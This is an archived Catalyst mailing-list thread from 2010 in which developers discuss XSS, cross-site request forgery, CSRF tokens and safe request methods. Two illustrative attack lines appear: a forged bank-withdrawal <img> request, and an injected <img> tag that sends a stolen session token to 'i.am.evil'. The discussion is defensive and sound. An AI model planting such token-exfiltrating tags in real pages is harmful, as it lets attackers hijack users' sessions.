>> any built in mechanism to protect from that since if I haven't got it
>> all wrong are cookie based sessions pretty much useless as security.
>
> There are a number of pre-baked solutions to this on CPAN / in various form
> systems.
>
> That said, there is no generic thing you can plug into an arbitrary Catalyst
> application which will try to protect you.
>
> It would be possible to parse the HTML your app output, add an extra hidden
> field to any forms you had generated in the page, and then look for a
> previously generated token and redirect / refuse the request if it wasn't
> present.
>
> However this would obviously not catch forms generated purely from
> Javascript (and a number of other cases), and so I'm somewhat doubtful of
> its value in more complex applications. I can certainly remember the stuff
> which tries to achieve this that is baked into Rails making me scream :)
>

But if one has a header.tt2, and that header has an <input
type="hidden" id="token" value="[% c.token %]> would every javascript
be able to get that value and add it to each form generated. Wouldn't
that solve the problem, and also make sure that a request from a user
is really that and not coming from an evil site. Or is that a naive
solution?

With the risk of making you scream here:

Wouldn't it make sense to have and option in Authorization which
generates and stores a token server side, in either a database or in
the session (like Bill seems to do) at login time. If I'm not horribly
mistaken would one token be enough for a session since the attack is
blind and there's no way for a 3rd party to figure it out unless using
brute force.

If that is correct, one can go about playing CRUD and allowing
/member/get_info?token=... and /member/set_info?token=... with GET
requests?


> That said - the wiki could very much benefit from a few pages which clearly
> explained the issue(s) surrounding XSS and XSRF in more detail, along with a
> rundown of what various form systems provide to mitigate these issues (and
> any other more generic modules available).
>
> Would you be prepared to write (even some) of this - given you seem to
> already be doing the research?
>

I just had a look and the wiki gives me an internal server error. I
can try to add some info regarding this, it might be better than
nothing but as I said, my English is far from perfect and it becomes
extra obvious when trying to explain something complex.

One thing I really think should be added there is a more verbose
explanation to the note in Catalyst::Manual::Tutorial::04_BasicCRUD:
Note: In practice you should never use a GET request to delete a
record -- always use POST for actions that will modify data. We are
doing it here for illustrative and simplicity purposes only.

Since this is potentially as nasty as storing untainted data in the
database, both for cases where GET is logical
(/get_really_private_data) and cases like this where one is
deleting/updating global data in a database.

>> Was this easier to follow?
>
> Yes. I thought that's what you meant the first time round, but I wasn't
> sure, and so I decided to wait for clarification (as other people had
> already replied when I saw your first mail).
>

Good, I'm trying to take a deep breath before explaining things but it
fails sometimes :)

_______________________________________________
List: Catalyst [at] lists
Listinfo: http://lists.scsys.co.uk/cgi-bin/mailman/listinfo/catalyst
Searchable archive: http://www.mail-archive.com/catalyst [at] lists/
Dev site: http://dev.catalyst.perl.org/


moseley at hank

Mar 29, 2010, 8:22 AM

Post #20 of 22 (2824 views)
Permalink
Re: Picking template type based on input [In reply to]

On Mon, Mar 29, 2010 at 2:12 AM, Jon mailinglists <jon.mlist [at] gmail>wrote:

>
> It seems like it is. I just stumbled upon this when checking out YUI
> 3, and had managed to stay oblivious to this problem before. I then
> went on with checking if one could make an attack that way and got a
> bit scared by the results and asked here. Classic case of reinventing
> wheels. I called it XSS because I figured it was scripts running
> across sites, but apparently this is XSRF as you said.
>

I think you are missing it still. It's not really XSRF.

These terms are a bit fuzzy and overloaded, but in general:

XSS is where an attacker places script on the attacked site. This is
accomplished by correctly not filtering user input. One example is a blog
site where the attacker places script on a common page that many others
view. Another approach is for the attacker to create a link to the site
they wish to attack which includes javascript and trick people into clicking
the link.
When the script runs it can, for example, send the cookie to the attacker's
site and then the user can use that session id to gain access.

XSRF is (typically, AFAIK) where the attacker's site includes a tag that
generates a request to another site. Wikipedia is worth reading, and it
includes this example:

<img src="
http://bank.example/withdraw?account=bob&amount=1000000&for=mallory">

The attacker has to know (or hope) the person that is viewing the page with
the <img> has an account at bank.example and that they are logged in (or
have a "remember me" cookie).

Of course, the <img> does a GET request to the poorly-coded bank site and
incorrectly causes something to happen. This works because the browser will
send the cookie with the request.

Now to your example. It's ok to load and run javascript from a third party
site. And any data that javascrpt brings in will be available to the page
that is loading the script. This is expected. It's also expected that the
browser will send the site's cookie along with the request.

Your example seems like XSRF because the attacking site is requesting a
resource (javascript) from your site -- just like the <img> above is making
a request to another site. It's also similar because in both your example
and the XSRF example above, the site is doing something dumb.

The bank.example site is dumb because it's allowing a GET request to make a
change. Your example is making the mistake of providing javascript that
gives private data away.

And that's why AJAX requests follow same-origin policy. It provides a way
to fetch data from a site, but only from the site that the browser is
viewing.

(Sure, the attacking site could create a form (perhaps in a hidden iframe)
and POST that, but hopefully your bank will return an "Are you sure you want
to transfer your money to Mallory?" confirmation screen first.)


> Wouldn't it make sense to have and option in Authorization which
> generates and stores a token server side, in either a database or in
> the session (like Bill seems to do) at login time. If I'm not horribly
> mistaken would one token be enough for a session since the attack is
> blind and there's no way for a 3rd party to figure it out unless using
> brute force.
>
> If that is correct, one can go about playing CRUD and allowing
> /member/get_info?token=... and /member/set_info?token=... with GET
> requests?
>

First, don't set_info with a GET request. That just makes the XSRF easy.
Second, if this is to protect against your example that returns JSONP (and
thus leaks personal user info) then, the real solution is to not return
JSONP.

I think the tokens are a mixed bag. Yes, the tokens would help, but if you
have them on your URLs then you have to worry about bookmarking and link
leaking. The tokens I use help with POSTing forms, but for critical changes
I still add an "Are you sure?" page.



--
Bill Moseley
moseley [at] hank


alexander.hartmaier at t-systems

Mar 30, 2010, 2:27 AM

Post #21 of 22 (2741 views)
Permalink
Re: Picking template type based on input [In reply to]

Sounds like you want Catalyst::Action::Serialize.

--
Best regards, Alex


Am Freitag, den 26.03.2010, 10:43 +0100 schrieb Jon mailinglists:
> Hi all,
> I'm making a small catalyst application and I want to be able to serve
> different types of content based on parameters and/or request headers.
> I'm curious about where the "correct" location for that kind of code
> is, my current sollution is in the Root end like this:
>
> sub end : ActionClass('RenderView') {
> ...
> if ($c->stash->{json} || $c->request->params->{json} ||
> $c->req->header('accept') =~ /json/)
> {
> $c->stash->{template} = $c->action.'_json.tt';
> $c->res->headers->content_type( 'Application/json; charset=utf-8' );
> }
> ...
> }
>
> but it feels "wrong" to put it in the Root controller rather than the
> view. Is this really the place where I'm supposed to have that kind
> of logic? Would that also be the place if I want to add pdf out to
> pick another View to forward to?
>
> Thanks in advance
> Jon
>
> _______________________________________________
> List: Catalyst [at] lists
> Listinfo: http://lists.scsys.co.uk/cgi-bin/mailman/listinfo/catalyst
> Searchable archive: http://www.mail-archive.com/catalyst [at] lists/
> Dev site: http://dev.catalyst.perl.org/


*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*
T-Systems Austria GesmbH Rennweg 97-99, 1030 Wien
Handelsgericht Wien, FN 79340b
*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*
Notice: This e-mail contains information that is confidential and may be privileged.
If you are not the intended recipient, please notify the sender and then
delete this e-mail immediately.
*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*"*

_______________________________________________
List: Catalyst [at] lists
Listinfo: http://lists.scsys.co.uk/cgi-bin/mailman/listinfo/catalyst
Searchable archive: http://www.mail-archive.com/catalyst [at] lists/
Dev site: http://dev.catalyst.perl.org/


bobtfish at bobtfish

May 21, 2010, 9:59 AM

Post #22 of 22 (1594 views)
Permalink
Re: Picking template type based on input [In reply to]

On 29 Mar 2010, at 10:12, Jon mailinglists wrote:
>
>>> That's why I was talking auth tokens or some other means of
>>> protection.
>>
>> A guess so, given that auth tokens are an XSRF protection really :)
>>
>>> I suppose more people have thought of that, and this isn't really
>>> Catalyst specific but very general. What I wonder though is if
>>> there's
>>> any built in mechanism to protect from that since if I haven't got
>>> it
>>> all wrong are cookie based sessions pretty much useless as security.
>>
>> There are a number of pre-baked solutions to this on CPAN / in
>> various form
>> systems.
>>
>> That said, there is no generic thing you can plug into an arbitrary
>> Catalyst
>> application which will try to protect you.
>>
>> It would be possible to parse the HTML your app output, add an
>> extra hidden
>> field to any forms you had generated in the page, and then look for a
>> previously generated token and redirect / refuse the request if it
>> wasn't
>> present.
>>
>> However this would obviously not catch forms generated purely from
>> Javascript (and a number of other cases), and so I'm somewhat
>> doubtful of
>> its value in more complex applications. I can certainly remember
>> the stuff
>> which tries to achieve this that is baked into Rails making me
>> scream :)
>>
>
> But if one has a header.tt2, and that header has an <input
> type="hidden" id="token" value="[% c.token %]> would every javascript
> be able to get that value and add it to each form generated. Wouldn't
> that solve the problem, and also make sure that a request from a user
> is really that and not coming from an evil site. Or is that a naive
> solution?

No, that makes _some_ sense.. But if I write javascript which, when
you click a button, adds a <form> element (and etc) to the page, then
clicks the submit button, that form is not going to have the XSRF
protection added (and ergo will fail when submitted).

I'd go with if you're doing weird things like that, then buyer beware..

> With the risk of making you scream here:
>
> Wouldn't it make sense to have and option in Authorization which
> generates and stores a token server side, in either a database or in
> the session (like Bill seems to do) at login time. If I'm not horribly
> mistaken would one token be enough for a session since the attack is
> blind and there's no way for a 3rd party to figure it out unless using
> brute force.

Not really. If one part of the site has XSS in it, and the token is
static, then I can inject javascript into the page (by sending you a
link to the part of the site with the XSS, which when run snarfs the
token, and injects <img src="http://i.am.evil/find_this.cgi?
token=XXXXXX width="1" height="1" /> into the bottom of the page..

I now have the user's token, and so I can submit any form in the app
as them..

For real protection you _at least_ need to generate one token per form
you display, ad keep a list of 'could be submitted' tokens.. For
protection against all cases, you need to validate that the token
presented was a component of the form which is actually being
submitted..

> If that is correct, one can go about playing CRUD and allowing
> /member/get_info?token=... and /member/set_info?token=... with GET
> requests?

Well, if you're allowing /set_info to be a GET request, you already
lost, don't do that :)

Catalyst::ActionRole::MatchRequestMethod is your friend.

>
>> That said - the wiki could very much benefit from a few pages which
>> clearly
>> explained the issue(s) surrounding XSS and XSRF in more detail,
>> along with a
>> rundown of what various form systems provide to mitigate these
>> issues (and
>> any other more generic modules available).
>>
>> Would you be prepared to write (even some) of this - given you seem
>> to
>> already be doing the research?
>>
>
> I just had a look and the wiki gives me an internal server error.

>_<

That was, of course, subsequently fixed.

> I
> can try to add some info regarding this, it might be better than
> nothing but as I said, my English is far from perfect and it becomes
> extra obvious when trying to explain something complex.
>
> One thing I really think should be added there is a more verbose
> explanation to the note in Catalyst::Manual::Tutorial::04_BasicCRUD:
> Note: In practice you should never use a GET request to delete a
> record -- always use POST for actions that will modify data. We are
> doing it here for illustrative and simplicity purposes only.
>
> Since this is potentially as nasty as storing untainted data in the
> database, both for cases where GET is logical
> (/get_really_private_data) and cases like this where one is
> deleting/updating global data in a database.

Yes, we could do with more info. I disagree that your bad English
would be a limitation.

We have a superb doc team who can help with that, and the tech team
are happy to help with the finer points of the explanation.

However YOU are still the ONLY person who knows _WHAT_ needs
explaining :)

On a slightly different note - I wasn't trying to be entirely
pessimistic about making a component which would try to help take care
of XSRF for you, I was just saying that it couldn't cover all possible
cases with no user intervention.

I think there would be a lot of value to someone coming up with
something which would solve the simple cases (when you're emitting
static HTML forms into your page), and help with the harder ones.

Cheers
t0m


_______________________________________________
List: Catalyst [at] lists
Listinfo: http://lists.scsys.co.uk/cgi-bin/mailman/listinfo/catalyst
Searchable archive: http://www.mail-archive.com/catalyst [at] lists/
Dev site: http://dev.catalyst.perl.org/

Catalyst users RSS feed   Index | Next | Previous | View Threaded
 
 


Interested in having your list archived? Contact Gossamer Threads
 
  Web Applications & Managed Hosting Powered by Gossamer Threads Inc.